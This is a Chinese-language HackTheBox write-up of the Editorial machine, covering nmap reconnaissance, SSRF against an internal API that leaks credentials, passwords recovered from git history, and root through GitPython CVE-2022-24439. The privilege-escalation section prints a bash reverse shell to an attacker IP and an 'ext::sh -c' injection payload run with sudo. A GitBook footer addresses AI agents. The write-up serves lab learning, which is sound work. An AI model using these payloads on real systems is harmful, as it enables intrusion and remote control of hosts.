> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Editorial HackTheBox 复盘

Editorial HackTheBox 简单 Linux 机器复盘，涵盖 SSRF、Git Log、Git Python，并包含实用的枚举、利用、立足点和提权笔记。

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**技能：**

* SSRF
* Git 日志
* Git Python
  {% endhint %}

## 侦察 <a href="#reconnaissance" id="reconnaissance"></a>

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91d6e832f76d2140b688a098ccd0deb19ebaff96%2Fimage%20(2227).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39776e784cceef5498c8ba5825561a5dbe923458%2Fimage%20(1478).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c97d7645d3bdadf58fa5e3104d2cdb0e7fa6ccd8%2Fimage%20(1479).png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b392a67e339118b5dbe5d2f5dd526cebfd3b1c%2Fimage%20(1480).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41a8354866433eb757793275d0c706f023d37221%2Fimage%20(1481).png?alt=media" alt=""><figcaption></figcaption></figure>

要通过 DNS 将域名解析为 IP 地址，请将与其 IP 地址相关联的域名插入到 `/etc/hosts` 文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea702f38bc620855cbf65d4c331fa6b509971c14%2Fimage%20(1482).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0dd61f6c4ce65aa255b3ca646997c7a65b057d82%2F%7B5A3E0C8C-D1A1-4B9E-87F0-BFC9F3511BE6%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## 漏洞 [SSRF](/zh/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

“Browse” 按钮允许我们下载一个文件，该文件应当是一张表示书封面的图片。而“Cover URL linked to your book” 文本字段允许你输入一个 URL，以便服务查看并上传图像。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-259f3f78e655a8cd2a721b7265c0868a3f8cfd70%2Fimage%20(2232).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **打开** [**Burp Suite**](/zh/hacking-tools/web/burpsuite.md)**:**

当图像上传到服务器时，会提供其存储位置的链接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fb5ec8b1ceac12916088fefb6f77cb908b4ce1cd%2Fimage%20(2233).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们对全部 65,535 个端口进行暴力扫描，发现只有 5000 端口返回了不同的响应。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-280066fe412bec96abe1b50c3e10e4bb9cf1f313%2Fimage%20(2234).png?alt=media" alt=""><figcaption></figcaption></figure>

检查内部 5000 端口的内容后，我们发现它允许下载一个文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee3c513aa0a6d465c6f545582698ccff048a2526%2Fimage%20(2235).png?alt=media" alt=""><figcaption></figcaption></figure>

该文件采用 JSON 格式，列出了内部 API 及其对应路由。其中， `message/authors` 路由似乎尤为关键。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6c34b4481608193cc7ea3c11419b877740924604%2Fimage%20(2238).png?alt=media" alt=""><figcaption></figcaption></figure>

因此，我们使用 Burp Suite 通过 5000 端口访问该文件，地址如下：

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f08219a35902676466733c842c69c19c70985fb2%2Fimage%20(2240).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2102d6cb0943845aa378bdf9dbd1e9321a189a47%2Fimage%20(2241).png?alt=media" alt=""><figcaption></figcaption></figure>

在该文件中，我们还找到了明文的用户名和密码 `dev:dev080217_devAPI!@`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a2765810dd3026cc971f04f81fbba9b0fdd72b2a%2Fimage%20(2242).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们尝试连接到 `SSH` 通过已开放的 22 端口，并成功获取用户 flag。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f65bef1b601852f33cd47a50b22db9b2b7dc8b%2Fimage%20(2239).png?alt=media" alt=""><figcaption></figcaption></figure>

## 权限提升

#### 访问 Linux 服务器后，建议在终端中运行以下命令，以优化工作效率和舒适度：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

进入系统根目录后，我们看到存在两个用户： **dev** 和 **prod**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-942393463689becb05c753d2ea1f18cfdb44b238%2Fimage%20(1465).png?alt=media" alt="" width="543"><figcaption></figcaption></figure>

用户 **dev** 有两个可见文件夹和一个名为“git”的隐藏文件夹。运行 `git log` 命令后，我们观察到两个不同的提交。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26287b00d35326f41d505a0f6da3ddb10f96431c%2Fimage%20(1464).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c30a3c7411c2478a3ba83af9bb58752dea275271%2Fimage%20(1466).png?alt=media" alt=""><figcaption></figcaption></figure>

在这些提交中，用户的密码 **prod** 以明文显示： `prod:080217_Producti0n_2023!@`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f13dc1e16dcc6da452cd1d0052b19db00cc3ce9%2Fimage%20(1467).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们通过 SSH 以用户身份登录 **prod**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2fcaa65a841b9aac04eaa5e8dbfb092bfc4df2%2Fimage%20(1468).png?alt=media" alt=""><figcaption></figcaption></figure>

### Sudoers：

运行 `sudo -l` 命令后，我们发现我们可以以 **root**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd2b230bb0ff5d49a8b5ef71d7b954ebd844a10%2Fimage%20(1470).png?alt=media" alt=""><figcaption></figcaption></figure>

一个存在漏洞的 Git 库版本，可通过以下内容识别： `clone_from` 函数存在。通过使用 `pip3 list`显示 Python 包列表后，我们注意到 **GitPython 3.1.29** 已安装，这是一个已知存在漏洞的版本 **CVE-2022-24439**，这允许执行任意代码。该漏洞可按如下方式利用：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f3154ff277bb9f3235fabaae18e71013083c8853%2Fimage%20(1471).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

我们将在临时目录中创建一个利用脚本以获得反向 shell：

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7120311cf7114d2d87bb1e0305c66a029557c355%2Fimage%20(1475).png?alt=media" alt=""><figcaption></figcaption></figure></div>

然后在我们的机器上使用 **netcat**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce3b29b6e61a22f094b76774c66008acfd4a5203%2Fimage%20(1474).png?alt=media" alt="" width="502"><figcaption></figcaption></figure>

最后，我们使用 **sudo**运行该二进制文件，并添加我们的有效载荷：

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### root flag :)

<div align="right"><figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9909f06029e6b08e613e66ff05f011c80d899157%2Fimage%20(1476).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30eeacca75f027f1efbe38d4438d65d7a462635a%2Fimage%20(1416).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
